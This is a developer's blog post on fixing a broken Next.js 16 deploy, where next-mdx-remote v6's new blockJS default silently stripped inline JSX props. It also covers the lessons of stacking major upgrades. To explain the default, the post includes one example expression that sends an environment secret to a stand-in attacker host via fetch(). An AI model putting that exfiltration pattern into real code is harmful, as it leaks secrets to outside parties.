Skip to content

Next.js 16 broke my blog. The fix was three lines, the lesson was bigger.

Vercel blocked my deploy over an RCE advisory, the upgrade introduced a new default that silently stripped JSX props, and it took a few hours to find the two config flags.

· 5 min read

Types passed. Lint passed. next build locally produced all 24 routes without a single warning. I pushed to main, Vercel started the pipeline, and the check turned red before the build even ran. No error message about code. A security advisory. The deploy was blocked at intake before a single TypeScript file was compiled on the build server.

That was not the outcome I expected after three weeks of Phase 3 work on the case studies. The site had been in a state where the /work routes existed in code but had never successfully deployed to production, because every attempt since they were added had hit some other stacking migration issue first. Broken params types, a renamed middleware convention, a cache API that moved. Each attempt ended somewhere new. This was supposed to be the clean one. The local build was green. The test suite had 30 passing tests. What else could go wrong.

What actually broke

Vercel's dependency scanner flagged next-mdx-remote@5.0.0 with a published RCE advisory. The advisory is real: the package could execute arbitrary JavaScript when processing untrusted MDX content, and Vercel treats any flagged dependency as a hard deploy block regardless of how the package is being used. Fair policy, awkward timing for a release window. The fix the scanner expected was obvious: bump the package to a version without the advisory.

I checked the release notes quickly, saw that v6 was the current stable, bumped the specifier in package.json from ^5.0.0 to ^6.0.0, let pnpm resolve the lockfile, re-ran pnpm typecheck && pnpm lint && vitest run. Everything still green. Pushed again.

Vercel accepted the build this time. New error, different route. The /work/lunara case study page threw at runtime:

Cannot read properties of undefined (reading 'map')

Five minutes of confusion, then more. The component rendering the case study constraints section was receiving undefined for its items prop. The MDX source had not changed. The React component itself had not changed. The only thing that had changed was the version of the library processing the MDX between the file on disk and the component receiving its props.

The MDX for the Lunara case study passes data as an inline JavaScript array expression directly in JSX prop syntax:

<CaseConstraints items={[
  { label: "Timeline", value: "8 weeks" },
  { label: "Team", value: "2 engineers" }
]} />

items was arriving as undefined. Something between the MDX source file and the component render was stripping the prop value entirely. Not throwing on it, not coercing it, just silently removing it and passing nothing.

The three-line fix and why it worked

next-mdx-remote@6.0.0 ships with blockJS: true as a default. The release notes mention this, but I had been skimming for type signature changes and API renames, not new defaults. blockJS is a compile-time option that strips every inline JavaScript expression from MDX before the content reaches the React renderer. Not an error. Not a warning in the console. Silent removal. items={[{...}, {...}]} is an inline JS expression. Stripped at compile time. The prop arrives at the component as undefined, and when the component calls .map() on undefined, you get the runtime error.

The fix was two config flags in lib/content/mdx.ts:

const { content } = await compileMDX({
  source: body,
  components: components as never,
  options: {
    // MDX in this repo is fully authored (not user-supplied), so we allow
    // inline JS expressions used by components like <CaseConstraints items={[...]}.
    // blockDangerousJS stays on to keep the RCE safety net.
    blockJS: false,
    blockDangerousJS: true,
    mdxOptions: {
      remarkPlugins: [remarkGfm],
      rehypePlugins: [
        rehypeSlug,
        [rehypeAutolinkHeadings, { behavior: 'wrap' }],
      ],
    },
  },
})

The same two flags went into the admin LivePreview component's serialize call, which runs on the client side and needed the same behaviour so the editor preview would match what production renders. If the server pipeline allows inline JS but the client preview strips it, you end up in a situation where drafts look fine in the editor and break on publish. Both call sites needed the update. Three lines each: the comment, blockJS: false, blockDangerousJS: true.

Why the default exists, and why it did not apply here

The blockJS: true default is not arbitrary caution. MDX has historically been used as a format for user-submitted content in CMS platforms, documentation sites, and comment systems. If you let arbitrary users submit MDX that gets compiled and rendered server-side, inline JS expressions are a real attack surface. An expression like items={fetch('https://attacker.example/exfil?token=' + process.env.SECRET)} can execute in a server component context and do real damage. The v6 default closes that surface for everyone, without requiring every adopter to read the release notes carefully before shipping to production. Secure by default is the right call when the library is general-purpose.

But this repo is a personal portfolio. Every MDX file under content/ is authored by one person, checked into git, and reviewed before it reaches main. The admin editor that generates draft MDX is behind an authenticated session, not a public-facing form. There are no user submission flows, no CMS intake from untrusted sources, no endpoint that accepts raw MDX from a third party. The threat model that blockJS: true protects against does not apply here at all. blockDangerousJS: true stays on because it catches <script> tags and javascript: URL patterns, which are a genuine concern even in authored content: a copy-paste from a third-party code snippet can include things you did not notice. That safety net costs nothing to keep and catches something real.

The bigger lesson on stacked majors

This bug did not happen in isolation. The portfolio was on a Next 14 baseline, and the upgrade path to 16 landed in a compressed window across several weeks of active development. Along the way: middleware.ts renamed to proxy.ts in 16, page params became Promise<T> and now require await before destructuring, revalidateTag grew a required second profile argument, cache components shifted from implicit to opt-in with an explicit 'use cache' directive. Each of those changes is survivable on its own. The Next.js upgrade guide at nextjs.org/docs/app/guides/upgrading/version-16 covers them clearly. Read one section, fix the affected files, move on.

Stacked, though, they compound in a specific way: the error surface stops being informative about which layer failed. When items is undefined and you have four active migration changes layered on each other, the first instinct is not "what changed in the MDX library" but "something about how params are passed is probably wrong again". You start looking at the route structure. You check the component tree. You read the page data fetching path. The actual cause, a single default flag in a library you just bumped a minor version on, is not where you are looking.

The debugging cost is not additive across stacked majors. It is multiplicative. Every migration you did in the same window is a plausible cause for any new error, so the search space grows with each one you pile on.

The defensive practice, with hindsight: upgrade one major at a time, trigger a full production build and deploy (not just next build locally) between every bump, and keep at least one component with inline-JS-heavy props as a canary in your test suite. A local build passes because next build generates static output for the routes at build time, but does not execute the same MDX compilation path that Vercel's production render does under all conditions. A canary test covering inline-JS props on MDX compile would have caught this before the push. Adding one to the backlog.


Phase 3 case studies went live for the first time after this fix landed. If you are hitting the same Cannot read properties of undefined (reading 'map') after upgrading next-mdx-remote, check your blockJS default before you start suspecting your components.

Written by

Faiz Kasman

Software engineer in Kuala Lumpur. Payments, multi-tenant SaaS, and inventory infrastructure. Currently building the Shell Malaysia ParkEasy app.

Keep reading